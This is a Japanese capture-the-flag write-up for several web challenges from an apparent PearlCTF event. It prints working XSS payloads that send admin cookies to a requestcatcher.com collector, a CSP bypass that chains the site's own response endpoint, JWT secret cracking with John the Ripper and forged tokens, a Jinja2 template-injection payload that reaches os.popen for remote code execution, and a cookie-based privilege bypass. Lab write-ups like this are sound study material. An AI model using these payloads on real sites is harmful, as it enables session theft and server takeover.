https://ctftime.org/event/2231
- [Web] learn HTTP シリーズ
- [Web] I am a web-noob
- [Web] rabbithole
- [Web] steps to success 解けなかった
- [Web] Uploader 解いてない
[Web] learn HTTP シリーズ
[Web] learn HTTP
I made a simple web application to teach you guys how HTTP responses work, I hope you enjoy :)
HTTP%2F1.1%20200%20OK%0D%0A%0D%0Ahello
のようなHTTPレスポンスの生データをadminに見せるページ。
GET /flag
の内容を持ってくることが出来ればフラグ獲得だが、admin向けに作成されているtokenでは表示ができない。
しかし、まずはtokenが取得できるか試してみる。
任意のHTTPレスポンスが書けるのでXSS発動させられる。
HTTP/1.1 200 OK Content-Length: 109 <script>navigator.sendBeacon('https://dfjsaiej4jk3jefsksda.requestcatcher.com/test',document.cookie)</script>
こういう感じのものをURL Encode(CyberChefだとEncode all special charsにチェックが必要)して送るとrequestcatcherにcookieが送られてくる。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzA5OTQyMzMzfQ.g78zszIQhgMCHDxO4hYS3I9eCoFWa2UH3zDPCM5RAwY
adminの持つ、トークンが得られた。
このトークンが持つpayloadは{"id": 1,"iat": 1709942333}
だが、id=2のトークンでないとフラグを取得することができない。
secretが無いとダメかーと思っていたが、easyタグが付いていたのでシンプルにシークレットの総当たりを試すと成功した。
$ john jwt.txt Using default input encoding: UTF-8 Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 512/512 AVX512BW 16x]) Will run 8 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst banana (?) 1g 0:00:00:00 DONE 2/3 (2024-03-09 09:10) 7.692g/s 252061p/s 252061c/s 252061C/s 123456..skyline! Use the "--show" option to display all of the cracked passwords reliably Session completed.
bananaだったらしい。{"id": 2,"iat": 1709942333}
にして作り直して、以下のように送るとフラグ獲得。
GET /flag HTTP/2 Host: learn-http.ctf.pearlctf.in Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNzA5OTQyMzMzfQ.NUcKNox2LvUoSLgh3hT_3cXKAbIEq_8JTtp1Tgu086I
[Web] learn HTTP better
I learn from mistakes, I think this change will solve my issue.
前問と大きな違いはCSPがかかっていること。
Content-Security-Policy: default-src 'self'
これも任意のレスポンスが作れるので、scriptも任意のものが作れる。
HTTP/1.1 200 OK Content-Length: 8 alert(1)
となるようなhttps://v1-learn-http.ctf.pearlctf.in/resp?body=HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%208%0D%0A%0D%0Aalert%281%29
を用意して、
HTTP/1.1 200 OK Content-Length: 148 <script src="https://v1-learn-http.ctf.pearlctf.in/resp?body=HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%208%0D%0A%0D%0Aalert%281%29"></script>
という感じで使って、https://v1-learn-http.ctf.pearlctf.in/resp?body=HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%20148%0D%0A%0D%0A%3Cscript%20src%3D%22https%3A%2F%2Fv1%2Dlearn%2Dhttp%2Ectf%2Epearlctf%2Ein%2Fresp%3Fbody%3DHTTP%252F1%252E1%2520200%2520OK%250D%250AContent%252DLength%253A%25208%250D%250A%250D%250Aalert%25281%2529%22%3E%3C%2Fscript%3E
を踏めばalertが飛ぶ。
HTTP/1.1 200 OK Content-Length: 91 window.location = 'http://dfjsaiej4jk3jefsksda.requestcatcher.com/test?' + document.cookie;
でHTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%2092%0D%0A%0D%0Awindow%2Elocation%20%3D%20%27http%3A%2F%2Fdfjsaiej4jk3jefsksda%2Erequestcatcher%2Ecom%2Ftest%3F%27%20%2B%20document%2Ecookie%3B
となって、
HTTP/1.1 200 OK Content-Length: 248 <script src="http://localhost:5001/resp?body=HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%2091%0D%0A%0D%0Awindow%2Elocation%20%3D%20%27http%3A%2F%2Fdfjsaiej4jk3jefsksda%2Erequestcatcher%2Ecom%2Ftest%3F%27%20%2B%20document%2Ecookie%3B"></script>
のような感じでHTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%20248%0D%0A%0D%0A%3Cscript%20src%3D%22http%3A%2F%2Flocalhost%3A5001%2Fresp%3Fbody%3DHTTP%252F1%252E1%2520200%2520OK%250D%250AContent%252DLength%253A%252091%250D%250A%250D%250Awindow%252Elocation%2520%253D%2520%2527http%253A%252F%252Fdfjsaiej4jk3jefsksda%252Erequestcatcher%252Ecom%252Ftest%253F%2527%2520%252B%2520document%252Ecookie%253B%22%3E%3C%2Fscript%3E
を用意して踏ませるとcookieが降ってくる。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzA5OTk1NjQ2fQ._h7goe3Ds2ZeV6XMCbEImWf5MbRlvr4mrftB63Yk5co
であり、john the ripperを使ってパスワードクラックを同様に試すとpassword
と分かる。
同様にid=2にして作り直して以下のように送るとフラグが得られる。
GET /flag HTTP/2 Host: v1-learn-http.ctf.pearlctf.in Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNzA5OTk1NjQ2fQ.nsZklhoerc296tBSWvwiGZ3nLCxEWIETH47jg0qc1ps
[Web] learn HTTP (final) 解いてない
This time I have removed all loopholes. I can finally rest now, can't I?
[Web] I am a web-noob
Maybe noobs create the most secure web applications. Or maybe not.
ユーザー名を入力するサイトが与えられる。
色々試すとSSTIが刺さるっぽいが、入力がサニタイズされているっぽい感じに出てくる。
{% print "test" %}
は使えたので、ninja2が使える。
使える文字を見て色々やると以下でRCE達成。
{% print lipsum|attr(request.args.a)|attr(request.args.b)(request.args.c)|attr(request.args.d)(request.args.e)|attr(request.args.f)() %}
をuserとして入力してGETのクエリストリングに&a=__globals__&b=__getitem__&c=os&d=popen&e=id&f=read
でidコマンドが動く。
これで色々探索すると、flag.txtがあるので、${IFS}
をスペースの代わりにして
&a=__globals__&b=__getitem__&c=os&d=popen&e=cat${IFS}flag.txt&f=read
でフラグ獲得。
[Web] rabbithole
Welcome to the journey! Here's your reward.
ソースコード無し。You're on your own:)
と言われる。
妙なCookieが渡されるが特に何もできないので/robots.txt
を見るとDisallow: /w0rk_h4rd
とある。
/w0rk_h4rd
に行くとYou sure are hardworking, but are you privileged enough? Here is what you want: s3cr3t1v3_m3th0d
がちゃがちゃやるとGET /hardworking
で
HTTP/2 405 Method Not Allowed Allow: S3CR3T1V3_M3TH0D, OPTIONS
と帰ってくるので、S3CR3T1V3_M3TH0D /hardworking
とするとYou're not privileged enough ;)
と帰ってくるので、
最後にcookieのuserIDをadminにするとフラグがもらえる。
最終的に以下のリクエストでフラグがもらえる。
S3CR3T1V3_M3TH0D /hardworking HTTP/2 Host: rabbithole.ctf.pearlctf.in Cookie: userID=admin
うーん、rabbithole。
[Web] steps to success 解けなかった
A journey only brave can travel.
wasmがバックエンドで使われている問題。
[Web] Uploader 解いてない
Yet another PHP-based uploader, and it's secure ^_^
ファイルアップロードできるPHPの問題。